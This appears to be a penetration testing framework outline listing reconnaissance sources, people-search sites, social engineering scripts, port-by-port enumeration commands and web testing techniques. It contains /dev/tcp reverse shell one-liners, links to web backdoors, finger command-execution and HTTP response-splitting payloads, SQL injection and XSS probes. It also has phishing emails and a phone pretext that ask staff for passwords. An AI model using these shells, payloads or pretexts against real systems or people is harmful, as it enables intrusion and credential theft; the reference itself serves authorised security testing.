Penetration Testing Framework 0.59

- Pre-Inspection Visit - template
- Network Footprinting (Reconnaissance) The tester would attempt to gather as much information as possible about the selected network. Reconnaissance can take two forms i.e. active and passive. A passive attack is always the best starting point as this would normally defeat intrusion detection systems and other forms of protection etc. afforded to the network. This would usually involve trying to discover publicly available information by utilising a web browser and visiting newsgroups etc. An active form would be more intrusive and may show up in audit logs and may take the form of an attempted DNS zone transfer or a social engineering type of attack.
  - Whois is widely used for querying authoritative registries/ databases to discover the owner of a domain name, an IP address, or an autonomous system number of the system you are targeting.
    - Authoratitive Bodies
      - IANA - Internet Assigned Numbers Authority
      - ICANN - Internet Corporation for Assigned Names and Numbers.
      - NRO - Number Resource Organisation
      - RIR - Regional Internet Registry
        - AFRINIC - African Network Information Centre
        - APNIC - Asia Pacific Network Information Centre
          - National Internet Registry
            - APJII
            - CNNIC
            - JPNIC
            - KRNIC
            - TWNIC
            - VNNIC
        - ARIN - American Registry for Internet Numbers
        - LACNIC - Latin America & Caribbean Network Information Centre
        - RIPE - Reseaux IP Européens—Network Coordination Centre
    - Websites
      - Central Ops
        - Domain Dossier
        - Email Dossier
      - DNS Stuff
        - Online DNS one-stop shop, with the ability to perform a great deal of disparate DNS type queries.

Expand - Collapse

- Fixed Orbit
  - Autonomous System lookups and other online tools available.
- Geektools
- IP2Location
  - Allows limited free IP lookups to be performed, displaying geolocation information, ISP details and other pertinent information.
- Kartoo
  - Metasearch engine that visually presents its results.
- MyIPNeighbors.com
  - Excellent site that gives you details of shared domains on the IP queried/ conversely IP to DNS resolution
- My-IP-Neighbors.com
  - Excellent site that can be used if the above is down
- myipneighbors.net
- Netcraft
  - Online search tool allowing queries for host information.
- Passive DNS Replication
  - Finds shared domains based on supplied IP addresses
  - Note: - Website utilised by nmap hostmap.nse script
- Robtex
  - Excellent website allowing DNS and AS lookups to be performed with a graphical display of the results with pointers, A, MX records and AS connectivity displayed.
  - Note: - Can be unreliable with old entries (Use CentralOps to verify)
- Traceroute.org
  - Website listing a large number links to online traceroute resources.
- Wayback Machine
  - Stores older versions of websites, making it a good comparison tool and excellent resource for previously removed data.
- Whois.net

- Tools
  - Cheops-ng
  - Country whois
  - Domain Research Tool
  - Firefox Plugins
    - AS Number
    - Shazou
    - Firecat Suite
  - Gnetutil
  - Goolag Scanner
  - Greenwich
  - Maltego

Expand - Collapse

- GTWhois
- Sam Spade
- Smart whois
- SpiderFoot

- Internet Search
  - General Information
    - Web Investigator
    - Tracesmart
    - Friends Reunited
    - Ebay - profiles etc.
  - Financial
    - EDGAR - Company information, including real-time filings. US
    - Google Finance - General Finance Portal
    - Hoovers - Business Intelligence, Insight and Results. US and UK
    - Companies House UK
    - Land Registry UK
  - Phone book/ Electoral Role Information
    - 123people
      - http://www.123people.co.uk/s/firstname+lastname/world
    - 192.com
      - Electoral Role Search. UK
    - 411
      - Online White Pages and Yellow Pages. US
    - Abika
      - Background Check, Phone Number Lookup, Trace email, Criminal record, Find People, cell phone number search, License Plate Search. US
    - BT.com. UK
      - Residential
      - Business
    - Pipl
      - http://pipl.com/search/?FirstName=????&LastName=????&City=&State=&Country=UK&CategoryID=2&Interface=1
      - http://pipl.com/search/?Email=john%40example.com&CategoryID=4&Interface=1
      - http://pipl.com/search/?Username=????&CategoryID=5&Interface=1
    - Spokeo
      - http://www.spokeo.com/user?q=domain_name
      - http://www.spokeo.com/user?q=email_address
    - Yasni
      - http://www.yasni.co.uk/index.php?action=search&search=1&sh=&name=firstname+lastname&filter=Keyword

Expand - Collapse

- Zabasearch
  - People Search Engine. US
- Generic Web Searching
  - Code Search
  - Forum Entries
  - Google Hacking Database
  - Google
    - Back end files
      - .exe / .txt / .doc / .ppt / .pdf / .vbs / .pl / .sh / .bat / .sql / .xls / .mdb / .conf
    - Email Addresses
    - Contact Details
  - Newsgroups/forums
  - Blog Search
    - Yammer
    - Google Blog Search
      - http://blogsearch.google.com/blogsearch?hl=en&ie=UTF-8&q=????&btnG=Search+Blogs
    - Technorati
      - http://technorati.com/search/[query]?language=n
    - Jaiku
    - Present.ly
    - Twitter Network Browser
  - Search Engine Comparison/ Aggregator Sites
    - Clusty
      - http://clusty.com/search?input-form=clusty-simple&v%3Asources=webplus&query=????
    - Grokker
      - http://live.grokker.com/grokker.html?query=?????&OpenSearch_Yahoo=true&Wikipedia=true&numResults=250
    - Zuula
      - http://www.zuula.com/SearchResult.jsp?bst=1&prefpg=1&st=????&x=0&y=0
    - Exalead
      - http://www.exalead.co.uk/search/results?q=????&x=0&y=0&%24mode=allweb&%24searchlanguages=en
    - Delicious
      - http://delicious.com/search?p=?????&u=&chk=&context=&fr=del_icio_us&lc=0
- Metadata Search
  - Metadata can be found within various file formats. Dependant on the file types to be inspected, the more metadata can be extracted. Example metadata that can be extracted includes valid usernames, directory structures etc. make the review of documents/ images etc. relating to the target domain a valuable source of information.
    - MetaData Visualisation Sites

- TouchGraph Google Browser
- Kartoo

- Tools
  - Bashitsu
    - svn checkout http://bashitsu.googlecode.com/svn/trunk/
    - cat filename | strings | bashitsu-extract-names
  - Bintext
  - Exif Tool
    - exiftool -common directory
    - exiftool -r -w .txt -common directory
  - FOCA
    - Online Version
    - Offline
  - Hachoir
  - Infocrobes
  - Libextractor
    - extract -b filename
    - extract filename
    - extract -B country_code filename
  - Metadata Extraction Tool
    - extract.bat <arg1> <arg2> <arg3>
  - Metagoofil
    - metagoofil -d target_domain -l max_no_of_files -f all (or pdf,doc,xls,ppt) -o output_file.html -t directory_to_download_files_to
  - OOMetaExtractor
  - The Revisionist
    - ./therev " @/directory
    - ./therev " site.com
    - ./therev 'linux' microsoft.com en
  - Wvware
- Wikipedia Metadata Search
  - Wikiscanner
  - Wikipedia username checker

- Social/ Business Networks
  - The following sites are some of many social and business related networking entities that are in use today.??Dependant on the interests of the people you are researching it may be worth just exploring sites that they have a particular penchant based on prior knowledge from open source research, company biographies etc. i.e. Buzznet if they are interested in music/ pop culture, Flixter for movies etc.

    Finding a persons particular interests may make a potential client side attack more successful if you can find a related "hook" in any potential "spoofed" email sent for them to click on (A Spearphishing technique)

Note: - This list is not exhaustive and has been limited to those with over 1 million members.

Expand - Collapse

- Africa
  - BlackPlanet
- Australia
  - Bebo
- Belgium
  - Netlog
- Holland
  - Hyves
- Hungary
  - iWiW
- Iran
  - Cloob
- Japan
  - Mixi
- Korea
  - CyWorld
- Poland
  - Grono
  - Nasza-klasa
- Russia
  - Odnoklassniki
  - Vkontakte
- Sweden
  - LunarStorm
- UK
  - FriendsReunited et al
  - Badoo
  - FaceParty
- US
  - Classmates
  - Facebook
  - Friendster
  - MyLife.com (formerly Reunion.com)
  - MySpace
  - Windows Live Spaces
- Assorted

- Buzznet
- Care2
- Habbo
- Hi5
- Linkedin
- MocoSpace
- Naymz
- Orkut
- Passado
- Tagged
- Twitter
- Windows Live Spaces
- Xanga
- Yahoo! 360°
- Xing
  - http://www.xing.com/app/search?op=universal&universal=????

Resources
- OSINT
- International Directory of Search Engines

DNS Record Retrieval from publically available servers

Types of Information Records
- SOA Records - Indicates the server that has authority for the domain.
- MX Records - List of a host's or domain's mail exchanger server(s).
- NS Records - List of a host's or domain's name server(s).
- A Records - An address record that allows a computer name to be translated to an IP address. Each computer has to have this record for its IP address to be located via DNS.
- PTR Records - Lists a host's domain name, host identified by its IP address.
- SRV Records - Service location record.
- HINFO Records - Host information record with CPU type and operating system.
- TXT Records - Generic text record.
- CNAME - A host's canonical name allows additional names/ aliases to be used to locate a computer.
- RP - Responsible person for the domain.

Database Settings
- Version.bind
- Serial
- Refresh
- Retry
- Expiry
- Minimum

Sub Domains

Internal IP ranges

- Reverse DNS for IP Range
- Zone Transfer

- Social Engineering
  - Remote
    - Phone
      - Scenarios
        - IT Department."Hi, it's Zoe from the helpdesk. I am doing a security audit of the networkand I need to re-synchronise the Active Directory usernames and passwords.This is so that your logon process in the morning receives no undue delays"If you are calling from a mobile number, explain that the helpdesk has beenissued a mobile phone for 'on call' personnel.
      - Results
      - Contact Details
        - Name
        - Phone number
        - Email
        - Room number
        - Department
        - Role
    - Email
      - Scenarios
        - Hi there, I am currently carrying out an Active Directory Health Checkfor TARGET COMPANY and require to re-synchronise some outstandingaccounts on behalf of the IT Service Desk. Please reply to medetailing the username and password you use to logon to your desktopin the morning. I have checked with MR JOHN DOE, the IT SecurityAdvisor and he has authorised this request. I will then populate thedatabase with your account details ready for re-synchronisation withActive Directory such that replication of your account will bere-established (this process is transparent to the user and sorequires no further action from yourself). We hope that this exercisewill reduce the time it takes for some users to logon to the network.Best Regards, Andrew Marks
        - Good Morning,The IT Department had a critical failure last night regarding remote access to the corporate network, this will only affect users that occasionally work from home.If you have remote access, please email me with your username and access requirements e.g. what remote access system did you use? VPN and IP address etc, and we will reset the system. We are also using this 'opportunity' to increase the remote access users, so if you believe you need to work from home occasionally, please email me your usernames so I can add them to the correct groups.If you wish to retain your current credentials, also send your password. We do not require your password to carry out the maintainence, but it will change if you do not inform us of it.We apologise for any inconvenience this failure has caused and are working to resolve it as soon as possible. We also thank you for your continued patience and help.Kindest regards,IeeEMAIL SIGNATURE
      - Software
      - Results
      - Contact Details
        - Name
        - Phone number
        - Email
        - Room number
        - Department
        - Role

- Other
- Local
  - Personas
    - Name
      - Suggest same 1st name.
    - Phone
      - Give work mobile, but remember they have it!
    - Email
      - Have a suitable email address
    - Business Cards
      - Get cards printed
  - Contact Details
    - Name
    - Phone number
    - Email
    - Room number
    - Department
    - Role
  - Scenarios
    - New IT employee
      - New IT employee."Hi, I'm the new guy in IT and I've been told to do a quick survey of users on the network. They give all the worst jobs to the new guys don't they? Can you help me out on this?"Get the following information, try to put a "any problems with it we can help with?" slant on it.UsernameDomainRemote access (Type - Modem/VPN)Remote email (OWA)Most used software?Any comments about the network?Any additional software you would like?What do you think about the security on the network? Password complexity etc.Now give reasons as to why they have complexity for passwords, try and get someone to give you their password and explain how you can make it more secure."Thanks very much and you'll see the results on the company boards soon."
    - Fire Inspector
      - Turning up on the premise of a snap fire inspection, in line with the local government initiatives on fire safety in the workplace.Ensure you have a suitable appearance - High visibility jacket - Clipboard - ID card (fake).Check for:number of fire extinguishers, pressure, type.Fire exits, accessibility etc.Look for any information you can get. Try to get on your own, without supervision!
  - Results
  - Maps
    - Satalitte Imagery
      - Google Maps
    - Building layouts
  - Other
- 6 Dumpster Diving
  - Rubbish Bins
  - Contract Waste Removal

- Ebay ex-stock sales i.e. HDD

Expand - Collapse

- Web Site copy
  - htttrack
  - teleport pro
  - Black Widow

- Discovery & Probing. Enumeration can serve two distinct purposes in an assessment: OS Fingerprinting Remote applications being served. OS fingerprinting or TCP/IP stack fingerprinting is the process of determining the operating system being utilised on a remote host. This is carried out by analyzing packets received from the host in question. There are two distinct ways to OS fingerprint, actively (i.e. nmap) or passively (i.e. scanrand). Passive OS fingerprinting determines the remote OS utilising the packets received only and does not require any packets to be sent. Active OS fingerprinting is very noisy and requires packets to be sent to the remote host and waits for a reply, (or lack thereof). Disparate OS's respond differently to certain types of packet, (the response is governed by an RFC and any proprietary responses the vendor (notably Microsoft) has enabled within the system) and so custom packets may be sent. Remote applications being served on a host can be determined by an open port on that host. By port scanning it is then possible to build up a picture of what applications are running and tailor the test accordingly.
  - Default Port Lists
    - Windows
    - *nix
  - Enumeration tools and techniques - The vast majority can be used generically, however, certain bespoke application require there own specific toolsets to be used. Default passwords are platform and vendor specific
    - General Enumeration Tools
      - nmap
        - nmap -n -A -PN -p- -T Agressive -iL nmap.targetlist -oX nmap.syn.results.xml
        - nmap -sU -PN -v -O -p 1-30000 -T polite -iL nmap.targetlist > nmap.udp.results
        - nmap -sV -PN -v -p 21,22,23,25,53,80,443,161 -iL nmap.targets > nmap.version.results
        - nmap -A -sS -PN -n --script:all ip_address --reason
        - grep "appears to be up" nmap_saved_filename | awk -F\('{print $2}' | awk -F\) '{print $1}' > ip_list
      - netcat
        - nc -v -n IP_Address port
        - nc -v -w 2 -z IP_Address port_range/port_number
      - amap
        - amap -bqv 192.168.1.1 80
        - amap [-A|-B|-P|-W] [-1buSRHUdqv] [[-m] -o <file>] [-D <file>] [-t/-T sec] [-c cons] [-C retries] [-p proto] [-i <file>] [target port [port] ...]
      - xprobe2
        - xprobe2 192.168.1.1
      - sinfp
        - ./sinfp.pl -i -p
      - nbtscan
        - nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename) | (<scan_range>)
      - hping
        - hping ip_address
      - scanrand

Expand - Collapse

- scanrand ip_address:all

unicornscan
- unicornscan [options `b:B:d:De:EFhi:L:m:M:pP:q:r:R:s:St:T:w:W:vVZ:'] IP_ADDRESS/ CIDR_NET_MASK: S-E

netenum
- netenum network/netmask timeout

fping
- fping -a -d hostname/ (Network/Subnet_Mask)

Firewall Specific Tools

firewalk
- firewalk -p [protocol] -d [destination_port] -s [source_port] [internal_IP] [gateway_IP]

ftester
- host 1 ./ftestd -i eth0 -v host 2 ./ftest -f ftest.conf -v -d 0.01 then ./freport ftest.log ftestd.log

Default Passwords (Examine list)
- Passwords A
- Passwords B
- Passwords C
- Passwords D
- Passwords E
- Passwords F
- Passwords G
- Passwords H
- Passwords I
- Passwords J
- Passwords K
- Passwords L
- Passwords M
- Passwords N
- Passwords O
- Passwords P
- Passwords R
- Passwords S
- Passwords T
- Passwords U
- Passwords V
- Passwords W
- Passwords X
- Passwords Y
- Passwords Z
- Passwords (Numeric)

Active Hosts

- Open TCP Ports
- Closed TCP Ports
- Open UDP Ports
- Closed UDP Ports

- Service Probing
  - SMTP Mail Bouncing
  - Banner Grabbing
    - Other
    - HTTP
      - Commands
        - JUNK / HTTP/1.0
        - HEAD / HTTP/9.3
        - OPTIONS / HTTP/1.0
        - HEAD / HTTP/1.0
      - Extensions
        - WebDAV
        - ASP.NET
        - Frontpage
        - OWA
        - IIS ISAPI
        - PHP
        - OpenSSL
    - HTTPS
      - Use stunnel to encapsulate traffic.
    - SMTP
    - POP3
    - FTP
      - If banner altered, attempt anon logon and execute: 'quote help' and 'syst' commands.

- ICMP Responses
  - Type 3 (Port Unreachable)
  - Type 8 (Echo Request)
  - Type 13 (Timestamp Request)
  - Type 15 (Information Request)
  - Type 17 (Subnet Address Mask Request)
  - Responses from broadcast address

- Source Port Scans
  - TCP/UDP 53 (DNS)
  - TCP 20 (FTP Data)
  - TCP 80 (HTTP)
  - TCP/UDP 88 (Kerberos)

Expand - Collapse

- Firewall Assessment
  - Firewalk
  - TCP/UDP/ICMP responses
- OS Fingerprint

- Enumeration
  - Daytime port 13 open
    - nmap nse script
      - daytime
  - FTP port 21 open
    - 1. Fingerprint server
      - telnet ip_address 21 (Banner grab)
      - Run command ftp ip_address
      - ftp@example.com
      - Check for anonymous access
        - ftp ip_addressUsername: anonymous OR anonPassword: any@email.com
    - 2. Password guessing
      - Hydra brute force
      - medusa
      - Brutus
    - 3. Examine configuration files
      - ftpusers
      - ftp.conf
      - proftpd.conf
    - MiTM
      - pasvagg.pl
  - SSH port 22 open
    - 1. Fingerprint server
      - 1. telnet ip_address 22 (banner grab)
      - 2. scanssh
        - scanssh -p -r -e excludes random(no.)/Network_ID/Subnet_Mask
    - 2. Password guessing
      - 1. ssh root@ip_address
      - 2. guess-who
        - ./b -l username -h ip_address -p 22 -2 < password_file_location
      - 3. Hydra brute force
      - 4. brutessh
      - 5. Ruby SSH Bruteforcer

Expand - Collapse

- Examine configuration files
  - ssh_config
  - sshd_config
  - authorized_keys
  - ssh_known_hosts
  - .shosts
- SSH Client programs
  - tunnelier
  - winsshd
  - putty
  - winscp

- Telnet port 23 open
  - Fingerprint server
    - telnet ip_address
      - Common Banner ListOS/BannerSolaris 8/SunOS 5.8Solaris 2.6/SunOS 5.6Solaris 2.4 or 2.5.1/Unix(r) System V Release 4.0 (hostname)SunOS 4.1.x/SunOS Unix (hostname)FreeBSD/FreeBSD/i386 (hostname) (ttyp1)NetBSD/NetBSD/i386 (hostname) (ttyp1)OpenBSD/OpenBSD/i386 (hostname) (ttyp1)Red Hat 8.0/Red Hat Linux release 8.0 (Psyche)Debian 3.0/Debian GNU/Linux 3.0 / hostnameSGI IRIX 6.x/IRIX (hostname)IBM AIX 4.1.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1994.IBM AIX 4.2.x or 4.3.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.Nokia IPSO/IPSO (hostname) (ttyp0)Cisco IOS/User Access VerificationLivingston ComOS/ComOS - Livingston PortMaster
    - telnetfp
  - Password Attack
    - Common passwords
    - Hydra brute force
    - Brutus
    - telnet -l "-froot" hostname (Solaris 10+)
  - Examine configuration files
    - /etc/inetd.conf
    - /etc/xinetd.d/telnet
    - /etc/xinetd.d/stelnet

- Sendmail Port 25 open
  - Fingerprint server
    - telnet ip_address 25 (banner grab)
  - Mail Server Testing
    - Enumerate users
      - VRFY username (verifies if username exists - enumeration of accounts)
      - EXPN username (verifies if username is valid - enumeration of accounts)

- Mail Spoof Test
  - HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT
- Mail Relay Test
  - HELO anything
    - Identical to/from - mail from: <nobody@domain> rcpt to: <nobody@domain>
    - Unknown domain - mail from: <user@unknown_domain>
    - Domain not present - mail from: <user@localhost>
    - Domain not supplied - mail from: <user>
    - Source address omission - mail from: <> rcpt to: <nobody@recipient_domain>
    - Use IP address of target server - mail from: <user@IP_Address> rcpt to: <nobody@recipient_domain>
    - Use double quotes - mail from: <user@domain> rcpt to: <"user@recipent-domain">
    - User IP address of the target server - mail from: <user@domain> rcpt to: <nobody@recipient_domain@[IP Address]>
    - Disparate formatting - mail from: <user@[IP Address]> rcpt to: <@domain:nobody@recipient-domain>
    - Disparate formatting2 - mail from: <user@[IP Address]> rcpt to: <recipient_domain!nobody@[IP Address]>

3. Examine Configuration Files
   - sendmail.cf
   - submit.cf

- DNS port 53 open

1. Fingerprint server/ service
   - host
     - host [-aCdlnrTwv] [-c class] [-N ndots] [-R number] [-t type] [-W wait] name [server] -v verbose format -t (query type) Allows a user to specify a record type i.e. A, NS, or PTR. -a Same as –t ANY. -l Zone transfer (if allowed). -f Save to a specified filename.
   - nslookup
     - nslookup [-option ...] [host-to-find | - [server]]
   - dig
     - dig [@server] [-b address] [-c class] [-f filename] [-k filename] [-p port#] [-t type] [-x addr] [-y name:key] [-4] [-6] [name] [type] [class] [queryopt...]
   - whois-h Use the named host to resolve the query -a Use ARIN to resolve the query -r Use RIPE to resolve the query -p Use APNIC to resolve the query -Q Perform a quick lookup

2. DNS Enumeration
   - Bile Suite
     - perl BiLE.pl [website] [project_name]
     - perl BiLE-weigh.pl [website] [input file]
     - perl vet-IPrange.pl [input file] [true domain file] [output file] <range>
     - perl vet-mx.pl [input file] [true domain file] [output file]
     - perl exp-tld.pl [input file] [output file]
     - perl jarf-dnsbrute [domain_name] (brutelevel) [file_with_names]
     - perl qtrace.pl [ip_address_file] [output_file]
     - perl jarf-rev [subnetblock] [nameserver]
   - txdns
     - txdns -rt -t domain_name

- txdns -x 50 -bb domain_name
- txdns --verbose -fm wordlist.dic --server ip_address -rr SOA domain_name -h c: \hostlist.txt

nmap nse scripts
- dns-random-srcport
- dns-random-txid
- dns-recursion
- dns-zone-transfer

3 Examine Configuration Files
- host.conf
- resolv.conf
- named.conf

TFTP port 69 open

1 TFTP Enumeration
- tftp ip_address PUT local_file
- tftp ip_address GET conf.txt (or other files)
- Solarwinds TFTP server
- tftp – i <IP> GET /etc/passwd (old Solaris)

2 TFTP Bruteforcing
- TFTP bruteforcer
- Cisco-Torch

Finger Port 79 open

1 User enumeration
- finger 'a b c d e f g h' @example.com
- finger admin@example.com
- finger user@example.com
- finger 0@example.com
- finger .@example.com
- finger **@example.com
- finger test@example.com
- finger @example.com

nmap nse script
- finger

2 Command execution
- finger "|/bin/id@example.com"
- finger "|/bin/ls -a /@example.com"

3 Finger Bounce
- finger user@host@victim
- finger @internal@external

Web Ports 80,8080 etc. open

Expand - Collapse

- 1 Fingerprint server
  - Telnet ip_address port
  - Firefox plugins
    - All
      - firecat
    - Specific
      - add n edit cookies
      - asnumber
      - header spy
      - live http headers
      - shazou
      - web developer
- 2 Crawl website
  - lynx [options] startfile/URL Options include -traversal -crawl -dump -image_links -source
  - httprint
  - Metagoofil
    - metagoofil.py -d [domain] -l [no. of] -f [type] -o results.html
- 3 Web Directory enumeration
  - Nikto
    - nikto [-h target] [options]
  - DirBuster
  - Wikto
  - Goolag Scanner
- 4 Vulnerability Assessment
  - Manual Tests
    - Default Passwords
    - Install Backdoors
      - ASP
        - http://packetstormsecurity.org/UNIX/penetration/aspxshell.aspx.txt
      - Assorted
        - http://michaeldaw.org/projects/web-backdoor-compilation/
        - http://open-labs.org/hacker_webkit02.tar.gz
      - Perl
        - http://home.arcor.de/mschierlm/test/pmsh.pl
        - http://pentestmonkey.net/tools/perl-reverse-shell/
        - http://freeworld.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz
      - PHP

- http://php.spb.ru/remview/
- http://pentestmonkey.net/tools/php-reverse-shell/
- http://pentestmonkey.net/tools/php-findsock-shell/

- Python
  - http://matahari.sourceforge.net/
- TCL
  - http://www.irmplc.com/download_pdf.php?src=Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf&force=yes
- Bash Connect Back Shell
  - GnuCitizen
    - Atttack Box: nc -l -p Port -vvv
    - Victim: $ exec 5<>/dev/tcp/IP_Address/Port

      Victim: $ cat <&5 | while read line; do $line 2>&5 >&5; done
  - Neohapsis
    - Atttack Box: nc -l -p Port -vvv
    - ```
      Victim: $ exec 0</dev/tcp/IP_Address/Port # First we copy our connection over stdin

      Victim: $ exec 1>&0 # Next we copy stdin to stdout

      Victim: $ exec 2>&0 # And finally stdin to stderr

      Victim: $ exec /bin/sh 0</dev/tcp/IP_Address/Port 1>&0 2>&0
      ```

- Method Testing
  - nc IP_Adress Port
    - HEAD / HTTP/1.0
    - OPTIONS / HTTP/1.0
    - PROPFIND / HTTP/1.0
    - TRACE / HTTP/1.1
    - PUT http://Target_URL/FILE_NAME
    - POST http://Target_URL/FILE_NAME HTTP/1.x
- Upload Files
  - curl
    - curl -u <username:password> -T file_to_upload <Target_URL>
    - curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" <Target_URL>
  - put.pl
    - put.pl -h target -r /remote_file_name -f local_file_name
  - webdav
    - cadaver
- View Page Source
  - Hidden Values
  - Developer Remarks
  - Extraneous Code
      ```

Expand - Collapse

- Passwords!

- Input Validation Checks
  - NULL or null
    - Possible error messages returned.
  - ' , " , ; , <!
    - Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
  - – , = , + , "
    - Used to craft SQL Injection queries.
  - ‘ , &, ! , ¦ , < , >
    - Used to find command execution vulnerabilities.
  - "><script>alert(1)</script>
    - Basic Cross-Site Scripting Checks.
  - %0d%0a
    - Carriage Return (%0d) Line Feed (%0a)
      - HTTP Splitting
        - language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>
          - i.e. Content-Length= 0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blah</html>
      - Cache Poisoning
        - language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20304%20Not%20Modified%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>
  - %7f , %ff
    - byte-length overflows; maximum 7- and 8-bit values.
  - -1, other
    - Integer and underflow vulnerabilities.
  - %n , %x , %s
    - Testing for format string vulnerabilities.
  - ../
    - Directory Traversal Vulnerabilities.
  - % , _, *
    - Wildcard characters can sometimes present DoS issues or information disclosure.
  - Ax1024+
    - Overflow vulnerabilities.
- Automated table and column iteration
  - orderby.py
    - ./orderby.py www.site.com/index.php?id=

Expand - Collapse

- d3sqlfuzz.py
  - ./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE--

- Vulnerability Scanners
  - Acunetix
  - Grendelscan
  - NStealth
  - Obiwan III
  - w3af

- Specific Applications/ Server Tools
  - Domino
    - dominoaudit
      - dominoaudit.pl [options] -h <IP>
  - Joomla
    - cms_few
      - ./cms.py <site-name>
    - joomsq
      - ./joomsq.py <IP>
    - joomlascan
      - ./joomlascan.py <site> <options>??[options i.e. -p/-proxy <host:port> : Add proxy support?-404 : Don't show 404 responses]
    - joomscan
      - ./joomscan.py -u "www.site.com/joomladir/" -o site.txt -p 127.0.0.1:80
    - jscan
      - jscan.pl -f hostname
      - (shell.txt required)
  - aspaudit.pl
    - asp-audit.pl http://target/app/filename.aspx (options i.e. -bf)
  - Vbulletin
    - vbscan.py
      - vbscan.py <host> <port> -v
      - vbscan.py -update
  - ZyXel
    - zyxel-bf.sh
    - snmpwalk
      - snmpwalk -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2
    - snmpget
      - snmpget -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2.6.0

- Proxy Testing

- Burpsuite
- Crowbar
- Interceptor
- Paros
- Requester Raw
- Suru
- WebScarab
- Zap

Expand - Collapse

- Examine configuration files
  - Generic
    - Examine httpd.conf/ windows config files
  - JBoss
    - JMX Console http://<IP>:8080/jmxconcole/
      - War File
  - Joomla
    - configuration.php
    - diagnostics.php
    - joomla.inc.php
    - config.inc.php
  - Mambo
    - configuration.php
    - config.inc.php
  - Wordpress
    - setup-config.php
    - wp-config.php
  - ZyXel
    - /WAN.html (contains PPPoE ISP password)
    - /WLAN_General.html and /WLAN.html (contains WEP key)
    - /rpDyDNS.html (contains DDNS credentials)
    - /Firewall_DefPolicy.html (Firewall)
    - /CF_Keyword.html (Content Filter)
    - /RemMagWWW.html (Remote MGMT)
    - /rpSysAdmin.html (System)
    - /LAN_IP.html (LAN)
    - /NAT_General.html (NAT)
    - /ViewLog.html (Logs)
    - /rpFWUpload.html (Tools)
    - /DiagGeneral.html (Diagnostic)
    - /RemMagSNMP.html (SNMP Passwords)
    - /LAN_ClientList.html (Current DHCP Leases)

Expand - Collapse

- Config Backups
  - /RestoreCfg.html
  - /BackupCfg.html
  - Note: - The above config files are not human readable and the following tool is required to breakout possible admin credentials and other important settings
    - ZyXEL Config Reader
- Examine web server logs
  - c:\winnt\system32\Logfiles\W3SVC1
    - awk -F " " '{print $3,$11} filename | sort | uniq
- References
  - White Papers
    - Cross Site Request Forgery: An Introduction to a Common Web Application Weakness
    - Attacking Web Service Security: Message Oriented Madness, XML Worms and Web Service Security Sanity
    - Blind Security Testing - An Evolutionary Approach
    - Command Injection in XML Signatures and Encryption
    - Input Validation Cheat Sheet
    - SQL Injection Cheat Sheet
  - Books
    - Hacking Exposed Web 2.0
    - Hacking Exposed Web Applications
    - The Web Application Hacker's Handbook
  - Exploit Frameworks
    - Brute-force Tools
      - Acunetix
    - Metasploit
    - w3af

- Portmapper port 111 open
  - rpcdump.py
    - rpcdump.py username:password@IP_Address port/protocol (i.e. 80/HTTP)
  - rpcinfo
    - rpcinfo [options] IP_Address
- NTP Port 123 open
  - NTP Enumeration
    - ntpdc -c monlist IP_ADDRESS
    - ntpdc -c sysinfo IP_ADDRESS
    - ntpq
      - host

Expand - Collapse

- hostname
- ntpversion
- readlist
- version

2 Examine configuration files
- ntp.conf

3 nmap nse script
- ntp-info

NetBIOS Ports 135-139,445 open

1 NetBIOS enumeration

Enum
- enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip>

Null Session

net use \\192.168.1.1\ipc$ "" /u:""
- net view \\ip_address
- Dumpsec

Smbclient
- smbclient -L //server/share password options

Superscan
- Enumeration tab.

- user2sid/sid2user
- Winfo

2 NetBIOS brute force
- Hydra
- Brutus
- Cain & Abel
- getacct
- NAT (NetBIOS Auditing Tool)

3 Examine Configuration Files
- Smb.conf
- lmhosts

SNMP port 161 open

1 Default Community Strings
- public
- private

cisco
- cable-docsis

Expand - Collapse

- ILMI

2 MIB enumeration

- Windows NT
  - .1.3.6.1.2.1.1.5 Hostnames
  - .1.3.6.1.4.1.77.1.4.2 Domain Name
  - .1.3.6.1.4.1.77.1.2.25 Usernames
  - .1.3.6.1.4.1.77.1.2.3.1.1 Running Services
  - .1.3.6.1.4.1.77.1.2.27 Share Information
- Solarwinds MIB walk
- Getif
- snmpwalk
  - snmpwalk -v <Version> -c <Community string> <IP>
- Snscan
- Applications
  - ZyXel
    - snmpget -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2.6.0
    - snmpwalk -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2
- nmap nse script
  - snmp-sysdescr

3 SNMP Bruteforce

- onesixtyone
  - onesixytone -c SNMP.wordlist <IP>
- cat
  - ./cat -h <IP> -w SNMP.wordlist
- Solarwinds SNMP Brute Force
- ADMsnmp
- nmap nse script
  - snmp-brute

4 Examine SNMP Configuration files

- snmp.conf
- snmpd.conf
- snmp-config.xml

LDAP Port 389 Open

1 ldap enumeration

- ldapminer
  - ldapminer -h ip_address -p port (not required if default) -d

Expand - Collapse

- luma
  - Gui based tool
- ldp
  - Gui based tool
- openldap
